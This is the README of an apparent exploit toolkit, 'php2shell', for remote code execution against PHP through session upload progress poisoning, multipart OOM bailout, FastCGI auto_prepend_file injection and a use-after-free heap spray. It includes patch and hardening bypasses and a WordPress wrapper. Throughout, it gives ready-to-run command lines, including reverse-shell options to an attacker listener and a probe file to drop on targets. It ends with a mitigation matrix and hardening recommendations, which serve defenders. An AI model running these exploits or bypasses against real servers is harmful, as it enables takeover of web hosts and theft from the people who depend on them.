php2shell/README.md

# php2shell — CVE-2026-109618 & CVE-2026-109619

Remote Code Execution exploits for two critical PHP vulnerabilities in the
multipart parser and session upload progress handler. Includes three bypass
exploits that defeat the official security patch and all recommended mitigations,
plus a no-LFI chain that removes the application from the attack entirely.

**No external dependencies** — pure Python 3 stdlib.

## Vulnerabilities

**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers
`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session
cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on
disk with attacker-controlled PHP code. LFI includes it for RCE.

**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled
data verbatim into the session file. With `cleanup=0`, or via race condition
against `cleanup=1`, the poisoned session file is includable via LFI for RCE.

**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.

## Exploits

| Script | Target | Description |
|--------|--------|-------------|
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
| `uaf-rce/exploit.py` | Apache mod_php | OOM → UAF via stale BG(serialize) → heap spray → **RCE, no LFI, no framework** |

## Prerequisites

- Python 3.8+
- Target running PHP-FPM with `session.upload_progress.enabled=1` (default)
- A Local File Inclusion vector in the target application
- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`)

## Usage

```bash
# CVE-2026-109618: OOM exploit
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
# Use --no-chunked when nginx has fastcgi_request_buffering off
# Use --fields / --field-size to tune OOM threshold for target memory_limit

# CVE-2026-109619: Session poisoning (direct or race)
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race

# WordPress (auto-detects LFI parameter)
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'

# Patch bypass: race condition on PHP 8.4.27+
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'

# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'

# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
```

All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
Use `--session-path` and `--lfi-param` to override auto-detection.

## RCE Without LFI

`nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE
with **no application include at all**. The consumer is php-fpm's own request
routing instead of application code:

1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into
   `<save_path>/sess_<SID>` during multipart parsing. This fires before
   script dispatch, so any PHP-handled URL works — a 404 is enough.
2. If `session.save_path` is web-served, the session file is directly
   requestable over HTTP.
3. With `security.limit_extensions` empty (common in production fpm pools),
   fpm executes the extensionless session file through the classic
   `cgi.fix_pathinfo` route: `GET /sessions/sess_<SID>/x.php?c=id`.
4. With `cleanup=1` (default) the file is truncated at upload end, so
   execution is raced against the upload window (reliable on streaming
   stacks, parse-time-limited on buffering stacks), or made deterministic
   with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the
   file persists.

Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for
the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why
the session decoder itself can never be used as the consumer: the `php`
serializer aborts the entire write on `|` in any key (leaving a 0-byte file),
the raw attacker bytes always land in the key which is never unserialized, and
`mod_files` rejects any SID that could turn the filename into an include
target.

```bash
# classify the target: which URL prefixes serve session.save_path
python3 nolfi/exploit_nolfi.py -t http://target/ --probe

# interactive command shell via the served session dir
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444

# deterministic persistence via the OOM bailout instead of the race
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
    --oom --fields 30000 --fsize 512 --cmd 'id'
```

`nolfi/check_deploy.php` reports whether a deployment meets the two
preconditions (save_path web-served, empty limit_extensions). Drop it on the
target, request it once, remove it.

## RCE via FastCGI (Default Config)

`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special
PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or
unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port
scenarios.

The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM
worker in the multipart parser (keeping the poisoned session file on disk)
while a second FastCGI request to another worker sets
`PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>`, causing PHP to include the
session file before any script. The attacker's PHP code executes.

`security.limit_extensions` does not block this: it only restricts
`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting
`php_admin_value[auto_prepend_file]` in the pool config also does not help:
raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6).

```bash
# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'

# Unix socket (local access)
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'

# Specify PHP file and session path
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
    --script-file /var/www/html/index.php \
    --session-path /tmp --cmd 'id'

# Reverse shell
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
    --lhost 10.0.0.1 --lport 4444
```

See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
pool-level configuration can prevent this when FastCGI is reachable.

## UAF RCE (Apache mod_php, No LFI, No Framework)

`uaf-rce/exploit.py` exploits the same CVEs through a pure memory corruption
path that requires **no LFI, no framework, no libraries, and no non-default
PHP settings**. The only SAPI requirement is Apache mod_php with prefork MPM
(default on Debian/Ubuntu).

The attack triggers an OOM during multipart parsing to leave stale
`BG(serialize)` state in the surviving Apache prefork worker. On the next
request, the session upload progress handler reuses the stale pointer (a freed
64-byte ZendMM slot) as a `php_serialize_data` struct. Heap spray reclaims the
slot with attacker data shaped as a fake `HashTable`, giving control of
`pDestructor` for arbitrary function call.

```bash
# Confirm all primitives (OOM, worker survival, session poison, stale state)
python3 uaf-rce/exploit.py --target http://host:port/index.php --oom-only

# Full chain: OOM + heap spray + UAF trigger
python3 uaf-rce/exploit.py --target http://host:port/index.php

# With crash detection
python3 uaf-rce/exploit.py --target http://host:port/index.php --crash-test
```

PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state
never persists across requests. See `uaf-rce/FINDINGS.md` for the full
vulnerability analysis and patch details.

## Patch Bypass Findings

The PHP 8.4.27 patch has three confirmed bypass paths to RCE:

**1. Race condition (TOCTOU)** — Session upload progress data exists on disk
during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI
request includes the file during the upload window. Inherent to the feature design.

**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's
`memory_limit` but not from OS-level limits. With `memory_limit=-1` and
RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code
path. Worker exits code 1 (not the patched code 70), session persists.

**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
poisoning needed. **Bypasses every recommended mitigation.**

**4. Served save_path (no LFI)** — When `session.save_path` is web-served and
the fpm pool leaves `security.limit_extensions` empty, the poisoned session
file is executed by fpm itself via PATH_INFO routing. No application
cooperation, no include primitive. See `nolfi/FINDINGS.md`.

**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI
socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker
drips a multipart upload via raw FastCGI to hold a worker in the parser
while a second request sets `PHP_VALUE: auto_prepend_file=<session_file>`.
No LFI, no special config, no library. `php_admin_value` does not block it.
See `fcgi/FINDINGS.md`.

### Mitigation Matrix

| Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend |
|---|---|---|---|---|---|
| Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | **FAIL** | OK | OK |
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL |
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK |
| + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** |
| + save_path not web-served | — | — | — | OK | **FAIL** |
| + block FPM network access | — | — | — | — | OK |
| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** |

### Recommendations

1. Set `session.upload_progress.enabled=0` in php.ini
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
3. Fix any LFI vulnerabilities in applications
4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
5. Keep `session.save_path` outside any web-served tree
6. Set `open_basedir` to restrict filesystem access
7. Block network access to FPM: use unix sockets with restricted permissions,
   firewall TCP port 9000

## WordPress

The WordPress exploit requires a plugin that calls `session_start()` and has an
LFI vector. Two demo plugins are included:

- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI
- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with
  template preview, log viewer, and session-based features

Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/`

## Disclaimer

For authorized security testing and research only. Obtain proper authorization
before testing against any system you do not own.